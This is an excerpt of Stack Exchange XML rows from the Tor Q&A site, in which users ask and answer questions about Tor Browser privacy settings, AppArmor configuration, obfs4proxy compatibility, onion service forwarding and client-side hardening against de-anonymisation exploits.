  <row Id="12594" PostTypeId="1" CreationDate="2016-09-13T01:13:44.400" Score="3" ViewCount="961" Body="&lt;p&gt;i'm on &lt;a href=&quot;https://www.privacytools.io/&quot; rel=&quot;nofollow&quot;&gt;https://www.privacytools.io/&lt;/a&gt; and noticed tbb version 6.0.4 doesn't modify many of the suggested &quot;Privacy Related about:config Tweaks&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        privacy.trackingprotection.enabled = true&#xA;        This is Mozilla’s new built in tracking protection.&#xA;        geo.enabled = false&#xA;        Disables geolocation.&#xA;        browser.safebrowsing.enabled = false&#xA;        Disable Google Safe Browsing and phishing protection. Security risk, but privacy improvement.&#xA;        browser.safebrowsing.malware.enabled = false&#xA;        Disable Google Safe Browsing malware checks. Security risk, but privacy improvement.&#xA;        dom.event.clipboardevents.enabled = false&#xA;        Disable that websites can get notifications if you copy, paste, or cut something from a web page, and it lets them know which part of the page had been selected.&#xA;        network.cookie.cookieBehavior = 1&#xA;        Disable cookies&#xA;        0 = Accept all cookies by default&#xA;        1 = Only accept from the originating site (block third party cookies)&#xA;        2 = Block all cookies by default&#xA;        network.cookie.lifetimePolicy = 2&#xA;        cookies are deleted at the end of the session&#xA;        0 = Accept cookies normally&#xA;        1 = Prompt for each cookie&#xA;        2 = Accept for current session only&#xA;        3 = Accept for N days&#xA;        browser.cache.offline.enable = false&#xA;        Disables offline cache.&#xA;        browser.send_pings = false&#xA;        The attribute would be useful for letting websites track visitors’ clicks.&#xA;        webgl.disabled = true&#xA;        WebGL is a potential security risk. Source&#xA;        dom.battery.enabled = false&#xA;        Website owners can track the battery status of your device. Source&#xA;        browser.sessionstore.max_tabs_undo = 0&#xA;        Even with Firefox set to not remember history, your closed tabs are stored temporarily at Menu -&amp;gt; History -&amp;gt; Recently Closed Tabs.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;many of the tweaks seem justified, especially the &quot;browser.safebrowsing.enabled&quot;. is there any reason why the tbb devs leave these settings as is? i'm sure there's some logical reasoning for it, it's just not apparent.&lt;/p&gt;&#xA;" OwnerUserId="14308" LastActivityDate="2016-09-13T02:58:08.347" Title="PrivacyTools.io about:config tweaks" Tags="|tor-browser-bundle|configuration|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12595" PostTypeId="2" ParentId="12594" CreationDate="2016-09-13T02:49:47.437" Score="2" Body="&lt;p&gt;So, where I can see differences, I'll address...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tracking Protection - &lt;a href=&quot;https://feeding.cloud.geek.nz/posts/how-tracking-protection-works-in-firefox/#Safe_Browsing_lists&quot; rel=&quot;nofollow&quot;&gt;Based on blacklisting&lt;/a&gt;, ineffective. Gives a third party control of what sites you can or cannot visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safe Browsing - Based on blacklisting, ineffective. Gives a third party (Google) control of what sites you can or cannot visit, censorship. &lt;a href=&quot;https://support.mozilla.org/en-US/kb/how-does-phishing-and-malware-protection-work#w_how-does-phishing-and-malware-protection-work-in-firefox&quot; rel=&quot;nofollow&quot;&gt;Sends details of files you download to Google&lt;/a&gt;, tracking and data leak. Clearly not suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clipboard events - Potentially breaks some websites, UX/usability issues. Maybe a candidate for higher security levels on the security slider? They could probably detect ctrl-c/ctrl-v and mouseclicks through other javascript APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WebGL - Possible future and definite historic security issue, the known privacy/anonymity issues are patched through the Canvas protections. I may agree on this one but &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;they don't see this as in-scope for their design&lt;/a&gt;. Likely UX/Usability barrier if disabled, I wouldn't mind seeing this purged at higher security levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently closed tabs - Use the New Identity button to clear session data if you want to do so effectively.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The reality is that modern browsers come with such complexity that most of these approaches are equivalent to polishing the brass on the Titanic. That page doesn't even &lt;em&gt;begin&lt;/em&gt; to cover counter-measures for AudioConextAPI, Canvas, Cache Control, Long-Term State, etc or address the side issues of &quot;trust this list is from Mozilla or Google and is the same as everyone elses list also never render any content on this list, which means if we fed you a poisoned list with a single resource that you and you alone will fail to load we can track you based on the single poisoned resource you and you alone refuse to load.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper solution is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a homogenous base state for all users that provides the best usability trade-off against privacy/anonymity.&lt;/li&gt;&#xA;&lt;li&gt;Eliminate The State to defeat long-term tracking through being fed poisoned fruit.&lt;/li&gt;&#xA;&lt;li&gt;Patch where appropriate to eliminate fingerprinting of unavoidable long-term state (e.g. hardware specific behaviour or user interaction metrics) (pure software virtualisation helps mask more obvious hardware information).&lt;/li&gt;&#xA;&lt;li&gt;Harden your applications to frustrate CNE.&lt;/li&gt;&#xA;&lt;li&gt;Comparment your application to reduce impact of any successful defeat of hardening by CNE.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-09-13T02:58:08.347" LastActivityDate="2016-09-13T02:58:08.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12596" PostTypeId="1" CreationDate="2016-09-13T03:52:28.327" Score="0" ViewCount="253" Body="&lt;p&gt;At this point the tor binary is in version 0.2.8.7.1. Ricochet (&lt;a href=&quot;https://ricochet.im&quot; rel=&quot;nofollow&quot;&gt;https://ricochet.im&lt;/a&gt;) hasn't been updated since February and is using tor version 0.2.7.6. There are some major updates between versions. Is it ever a good idea to simply copy the 2.8 binary provided by the official tor repo and overwrite the ricochet binary? I'm not clear on the security/functionality risks involved. Needless to say, I haven't tried this yet.&lt;/p&gt;&#xA;" OwnerUserId="14309" LastEditorUserId="88" LastEditDate="2017-04-21T08:17:02.557" LastActivityDate="2017-04-21T08:17:02.557" Title="Ricochet tor version is out of date" Tags="|configuration|update|tor-install|chat|ricochet|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12598" PostTypeId="2" ParentId="12591" CreationDate="2016-09-13T11:40:03.350" Score="0" Body="&lt;h3&gt;The best courses of actions you could do right now are:&lt;/h3&gt;&#xA;&lt;p&gt;To use another modern computer that is able runs the latest Tor Browser for security. Preferably Linux OSes since most of them don't phone home and are probably more secure.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively install &lt;a href=&quot;https://www.debian.org/ports/powerpc/#about&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Debian&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://wiki.ubuntu.com/PowerPCDownloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Lubuntu&lt;/code&gt;, &lt;code&gt;Kubuntu&lt;/code&gt; and &lt;code&gt;Ubuntu&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;https://wiki.ubuntu.com/PowerPCFAQ#Is_Ubuntu_supported_on_PowerPC.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;PowerPC FAQ on Ubuntu's website&lt;/a&gt;) or any other Linux Distros that supports the latest Tor Browser on your old system. I wonder if your old computer has any hardware vulnerabilities, you might want to take in account of them depending on your threat model.&lt;/p&gt;&#xA;&lt;h3&gt;Less ideal options:&lt;/h3&gt;&#xA;&lt;p&gt;Using Virtual Machine(VM) to run an Linux OS and then run Tor Browser is a less ideal option. The reason is that your compatible VM &lt;em&gt;may&lt;/em&gt; probably be outdated which may result in no support of newer security updates. &lt;a href=&quot;http://www.oldapps.com/mac/virtualbox.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;According to this list&lt;/a&gt;, the last usable but &lt;em&gt;unsupported&lt;/em&gt; &lt;code&gt;VirtualBox&lt;/code&gt; is &lt;a href=&quot;https://www.virtualbox.org/wiki/Download_Old_Builds_4_3_pre24&quot; rel=&quot;nofollow noreferrer&quot;&gt;4.3.14&lt;/a&gt; &lt;em&gt;(&amp;lt;-- Please use this link for that version, it is always more secure to download from the official website.)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I do not encourage you to use old and currently unsupported operating system to run the Tor Browser as you will miss out on crucial security updates for it and your OS. But just for completionistic sake, here is an less ideal solution: &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This link contains the list of older versions&lt;/a&gt; of Tor Browser if you don't mind of the vulnerabilities. &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/1ayv2y/where_can_i_find_22355_for_mac/c9dmial&quot; rel=&quot;nofollow noreferrer&quot;&gt;This Reddit user seems to found a version that is somewhat working.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/doc/about/requirements/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unfortunately, Tails OS doesn't support PowerPC so I can't suggest it.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-04-18T22:47:15.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12600" PostTypeId="2" ParentId="12518" CreationDate="2016-09-13T23:19:08.510" Score="2" Body="&lt;p&gt;The issue is that the package is aimed at ubuntu, the systemd service file expects apparmor to be there it tries to enforce the profile but the profile isnt loaded or cant be loaded, to remedy this perform the following steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install apparmor apparmor-utils&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This provides the required userspace tooling to load apparmor profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit &lt;code&gt;/etc/default/grub&lt;/code&gt; and append &lt;code&gt;security=apparmor apparmor=1&lt;/code&gt; to the &lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/code&gt; parameter, then run the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo update-grub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will update your grub.cfg with the new kernel configuration arguments. Then reboot the system for the changes to the kernel to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor service should now successfully start and be contained by the apparmor profile.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-09-14T06:37:40.013" LastActivityDate="2016-09-14T06:37:40.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12602" PostTypeId="2" ParentId="12588" CreationDate="2016-09-14T06:48:43.230" Score="2" Body="&lt;p&gt;It seems you have installed the Tor package, either from &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor directly&lt;/a&gt; or as a &lt;a href=&quot;https://packages.debian.org/search?keywords=tor&quot; rel=&quot;nofollow&quot;&gt;Debian package&lt;/a&gt;. By default the software is set up to start by system start and it always runs in the background. So this is expected behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable this with systemd or with startup scripts.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-09-14T06:48:43.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12603" PostTypeId="1" CreationDate="2016-09-14T08:46:52.657" Score="2" ViewCount="128" Body="&lt;p&gt;From what I understand, I am connected to the internet via my ISP. Therefore, all my internet requests are going from my computer through my ISP to wherever. So, my question is, how does Tor prevent my ISP from seeing these requests? Does the Tor browser encrypt the requests that are sent from my computer before they reach my ISP?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2020-07-28T17:32:36.143" Title="How exactly does Tor prevent ISPs from viewing internet activity?" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12604" PostTypeId="5" CreationDate="2016-09-14T09:36:46.577" Score="0" Body="&lt;p&gt;These extremely compact computers features an &lt;a href=&quot;https://en.m.wikipedia.org/wiki/System_on_a_chip&quot; rel=&quot;nofollow&quot;&gt;System on a chip&lt;/a&gt; which include a &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Central_processing_unit&quot; rel=&quot;nofollow&quot;&gt;Central Processing Unit&lt;/a&gt; and &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Graphics_processing_unit&quot; rel=&quot;nofollow&quot;&gt;Graphical Processing Unit&lt;/a&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also includes multitudes of input and output options such as &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Secure_Digital&quot; rel=&quot;nofollow&quot;&gt;SD card&lt;/a&gt; slot for persistent memory storage, &lt;a href=&quot;https://en.wikipedia.org/wiki/Random-access_memory&quot; rel=&quot;nofollow&quot;&gt;RAM&lt;/a&gt; for temporary storage, &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Phone_connector_%28audio%29&quot; rel=&quot;nofollow&quot;&gt;3.5mm phone jack&lt;/a&gt; for audio, &lt;a href=&quot;https://en.m.wikipedia.org/wiki/USB&quot; rel=&quot;nofollow&quot;&gt;USB&lt;/a&gt; port(s) and video transmission port(s) (such as &lt;a href=&quot;https://en.m.wikipedia.org/wiki/HDMI&quot; rel=&quot;nofollow&quot;&gt;HDMI&lt;/a&gt;), &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Ethernet&quot; rel=&quot;nofollow&quot;&gt;Ethernet&lt;/a&gt; ports for network connection, &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Bluetooth&quot; rel=&quot;nofollow&quot;&gt;Bluetooth&lt;/a&gt; for wireless exchange of data and last but not least, &lt;a href=&quot;https://en.wikipedia.org/wiki/General-purpose_input/output&quot; rel=&quot;nofollow&quot;&gt;General-Purpose Input and Output&lt;/a&gt; ports which as the name implies, have many uses.     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are compatible with a variety of operating systems such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Raspbian&quot; rel=&quot;nofollow&quot;&gt;Raspbian&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Ubuntu_MATE&quot; rel=&quot;nofollow&quot;&gt;Ubuntu Mate&lt;/a&gt;. &lt;a href=&quot;https://en.wikipedia.org/wiki/Raspberry_Pi#Operating_systems&quot; rel=&quot;nofollow&quot;&gt;Full list can be found here.&lt;/a&gt; And they can be used with a variety of software development tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to Tor, they most commonly used for setting up a &lt;strong&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/tagged/relays&quot;&gt;Relay node&lt;/a&gt;&lt;/strong&gt; for the Tor network or as a &lt;strong&gt;Router&lt;/strong&gt; to route all internet traffic from a computer or a local network into the Tor network. They can also used for &lt;strong&gt;&lt;a href=&quot;https://en.m.wikipedia.org/wiki/Internet_of_things&quot; rel=&quot;nofollow&quot;&gt;Internet of Things&lt;/a&gt;&lt;/strong&gt; routed through the Tor network. Questions can be in relation of these relevant topics as bold-ed above. &lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-15T12:45:00.997" LastActivityDate="2016-09-15T12:45:00.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12605" PostTypeId="4" CreationDate="2016-09-14T09:36:46.577" Score="0" Body="Raspberry Pi is series of closed-sourced, card-sized and single-board computers developed by the Raspberry Pi Foundation. Question should in regards to the operations, configurations and maintenance of Raspberry Pi used with the Tor software or the Tor network." OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-15T12:44:54.523" LastActivityDate="2016-09-15T12:44:54.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12607" PostTypeId="1" CreationDate="2016-09-14T14:09:00.723" Score="1" ViewCount="302" Body="&lt;p&gt;Good morning, I have trouble installing the Tor Browser. I have removed and reinstalled, I tested with versions prior to see if it was a problem with the new version, and to try to change the time as proposed by others who had problems, and even then I could solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy the installation process of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 9:48:19 a. m..900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 9:48:19 a. m..900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 9:48:19 a. m..900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 9:48:19 a. m..900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 9:48:19 a. m..900 [NOTICE] Renaming old configuration file to &quot;C:\Users\usuario\Desktop\Tor Browser2\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;14 sept. 2016 9:48:20 a. m..800 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 9:48:21 a. m..100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:36 a. m..200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 75F1992FD3F403E9C082A5815EB5D12934CDF46C at 46.101.237.246:9001) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:36 a. m..200 [WARN] 10 connections have failed: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:36 a. m..200 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:58 a. m..200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:58 a. m..200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:58 a. m..200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;14 sept. 2016 10:48:58 a. m..200 [NOTICE] Delaying directory fetches: DisableNetwork is set.&lt;/p&gt;&#xA;" OwnerUserId="14323" LastActivityDate="2016-09-14T14:09:00.723" Title="Problem connecting Tor Browser" Tags="|tor-browser-bundle|network-configuration|" AnswerCount="0" CommentCount="7" ClosedDate="2017-05-09T11:36:07.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="12608" PostTypeId="1" CreationDate="2016-09-14T14:53:04.470" Score="3" ViewCount="3948" Body="&lt;p&gt;A few months ago the user Canonizing Ironize suggested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/11809/run-tor-browser-bundle-with-another-user&quot;&gt;Run tor-browser-bundle with another user&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Create a new network namespace so the process only sees the local loopback device, create a read-only filesystem and mount a tmpfs with your copy of tor browser copied into it, use seccomp sandboxing (at least blacklisting if not whitelisting) to reduce the damage an exploit might do and any privilege escalation or lateral movement it might perform. You could also consider, along with these steps, using something like Xephyr or xpra to create a sandboxed X environment within your normal X environment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Would anyone be able to put together a guide to do these exact steps in Debian/Ubuntu?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create namespace&lt;/li&gt;&#xA;&lt;li&gt;Create read-only filesystem for TBB&lt;/li&gt;&#xA;&lt;li&gt;Configure Seccomp&lt;/li&gt;&#xA;&lt;li&gt;Configure Xephyr to sandbox X&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These are great suggestions. This kind of guide would great benefit many tor users. If Canonizing Ironize is still around it would be cool if he was able to contribute.&lt;/p&gt;&#xA;" OwnerUserId="14325" LastEditorUserId="88" LastEditDate="2016-10-15T10:25:39.773" LastActivityDate="2017-02-15T01:31:22.790" Title="How to sandbox/harden tor browser bundle?" Tags="|tor-browser-bundle|configuration|security|sandbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12609" PostTypeId="1" CreationDate="2016-09-14T15:20:14.210" Score="1" ViewCount="221" Body="&lt;p&gt;Will the &quot;obfs4proxy.exe&quot; compiled for &quot;Win32&quot;, as extracted from the official Tor-browser download, work normally on an AMD Athlon-XP ? Specifically, this is a modern X86(32) processor but that does not have SSE2 and superior instruction sets - in case this is useful information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot run the TBB, using standalone Tor.exe (own compilation) instead, with home made configuration. I extracted the 'obsf4procy' from the TBB tho, added proper 'torrc' configuration lines to have it run 'managed' and got my trial obfs4-bridges from the usual place @ bridges.torproject.org - but alas ! it does not run ! Actually just trying to run the executable on this machine - even with option '-h' or '--help' bombs out !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help - if applicable, providing a special build compatible to Athlon-XP ! In case target CPU-compatibility is NOT the problem, what else could be ? Missing dependencies ? The executable /does/ bomb out (crash) anyway... not good :=(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S : I got no problems whatsoever using the Python based obfs(2,3)proxy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## TOR Configuration file (noino)&#xA;### bridges&#xA;UseBridges 1&#xA;UpdateBridgesFromAuthority 1&#xA;## obfsproxy configuration (works OK, commented out):&#xA;##ClientTransportPlugin obfs2,obfs3 exec obfsproxy managed&#xA;## obfs4proxy doesn't work on my comp :=(&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,scramblesuit exec M:\PROGRAMS\TOR\obfs4proxy&#xA;Bridge obfs3 XXX.XXX.XXX.XXX:XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;SocksPort 9050 # what port to open for local application connections&#xA;ControlPort 9051 ## Entry policies&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14324" LastEditorUserId="12737" LastEditDate="2016-09-14T20:00:07.357" LastActivityDate="2016-09-15T00:44:55.440" Title="Is the obfs4proxy.exe supposed to run on an Athlon-XP?" Tags="|obfs4proxy|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12610" PostTypeId="1" CreationDate="2016-09-14T16:31:12.653" Score="3" ViewCount="1383" Body="&lt;pre&gt;&lt;code&gt;    HiddenServiceDir /var/lib/tor/hidden_service/site&#xA;    HiddenServicePort 80 tor.stackexchange.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    HiddenServiceDir /var/lib/tor/hidden_service/site&#xA;    HiddenServicePort 80 151.101.129.69:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just tried the above configurations, neither worked, as expected. Is it possible to point an onion server to a site NOT being hosted locally?&lt;/p&gt;&#xA;" OwnerUserId="14327" LastActivityDate="2017-10-25T21:46:38.403" Title="Using .onions to forward to public .com" Tags="|configuration|onion-routing|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12612" PostTypeId="1" AcceptedAnswerId="12614" CreationDate="2016-09-14T18:59:33.747" Score="1" ViewCount="243" Body="&lt;p&gt;I have been studying Tor and its related security issues recently, and have some questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Aren't the most effective recent attacks on Tor, actually attacks on the browser (or plugins), rather than the Tor network itself?  My understanding is that the recent exploits involve a script or malware forcing the user to make a direct connection outside of Tor, using his or her own IP address.  Following this, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Couldn't these attacks be prevented by using a packet filter at the network perimeter?  In other words, whitelist the Directory Authorities and the entry node, and block everything else at the client's network perimeter.  I've tried getting Tor to operate this way and it seems functional, once the TBB loads the relay list and makes an initial connection.  If I enable the filter before starting Tor, however, then the relay list doesn't populate (Vidalia), and the connection doesn't initiate.  Finally,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to configure Tor such that it will operate automatically upon startup through a packet filter like this, without having to temporarily disable the filter to get it started?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Something like this wouldn't defend against end-to-end timing correlation attacks, but my questions concern security on the client's end of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit (09_15_2016):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, I understand that the network itself is going to be a weak point that can't be solved by a security appliance at the client's end of the network.  I have tremendous respect for our friends at the 3-letter acronym agencies, and have no sympathy for the people snared in the described sting operations.  At the same time, I'm concerned that the attack was too easy.  I believe that uncovering a user's identity should be costly enough in resources and effort that it will cause law enforcement to think twice before attempting it.  It shouldn't be a trivial operation that can be carried out on large numbers of people on a whim.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm reading this carefully to make sure that I understand.  Yes, I see now that I overlooked the obvious direct connection between the client and the directory authorities.  Good catch.  If traffic to any one of them could be viewed, then the connection itself could be used by malware to encode information, revealing the client's IP address.  I've used Tor before with only one directory authority white-listed.  In this case, I suppose the malware would have to signal to all nine DA servers, and the attacker would have to hope that the server(s) they could see would be the one(s) that is(are) white-listed.  The direct connection to a DA server is a weakness, since there are only 9 of them, they are well-known, and hard-coded into Tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's a follow-up question for you:  After loading the relay list on startup, is it possible to block access to all the DA servers?  Would this prevent Tor from building new connections properly?  Unfortunately I can't test this right now (haven't gotten approval from IT to run Tor yet).  If it works, then this would force such possible malware to try other means for signaling.  It could try identifying the guard node from within the system (if the compromised system is the same one running Tor or handling the network connection) and then exfiltrating this information and compromising the server's connection as before; or alternately by signaling to all guard nodes, with the attacker hoping that he's monitoring the one that happens to be white-listed (there are a lot more guard nodes than DA servers).  Am I missing anything in this scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the interest of disclosure, we (at work) are looking into what we can offer the Tor community.  I'm doing some initial background research to see if we can justify putting internal funding towards it.  Initially the thought is to start at the client network perimeter with a hardened packet filter, then progress inward incrementally towards a stripped down and custom hardened OS.  Obviously I still have a lot to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit (09_15_16):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're judging me too harshly.  I wouldn't be entertaining this project if I liked the way things were being done.  If everyone who accessed Freedom Hosting was filtering their network connections like we're discussing, then probably none of them would've had their IP addresses snagged, even with an outdated TBB...on Windows no less.   At the same time, Tor is about freedom of speech and association to me, not the freedom to trade dirty pictures of children.  I don't like to discuss this, and I really wish I knew better examples of a Tor user's local network or system (not the Tor network as a whole necessarily) being compromised that didn't involve these indefensible scenarios.  Any ideas?  Both you and I know that the same types of attacks can (and will) be used in the future, but against journalists, people with unpopular opinions, people who generally desire privacy, government agents themselves, and so on.  I'm trying to prevent current exploits, and even ones that haven't been discovered yet.  I can't go to upper management with Freedom Hosting as an example, though.  I'd feel personally nauseated doing that, and I'd get some strange looks anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I'm going to try Tor on my home system to do some testing.  I'll be using the access control list on my firewall router as the packet filter.  I moved out to the boonies, and only have limited broadband wireless on a hotspot.  However, I can run Tor on computer #1, connect to computer #2 through the router, and then route the traffic through computer #2 to the wireless interface.  At least I hope I can do that...  I wouldn't recommend that setup for anything other than testing, since it's not very secure.&lt;/p&gt;&#xA;" OwnerUserId="14242" LastEditorUserId="14242" LastEditDate="2016-09-15T23:01:52.787" LastActivityDate="2016-09-16T07:45:54.910" Title="Additional Tor security at the client's network perimeter" Tags="|security|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
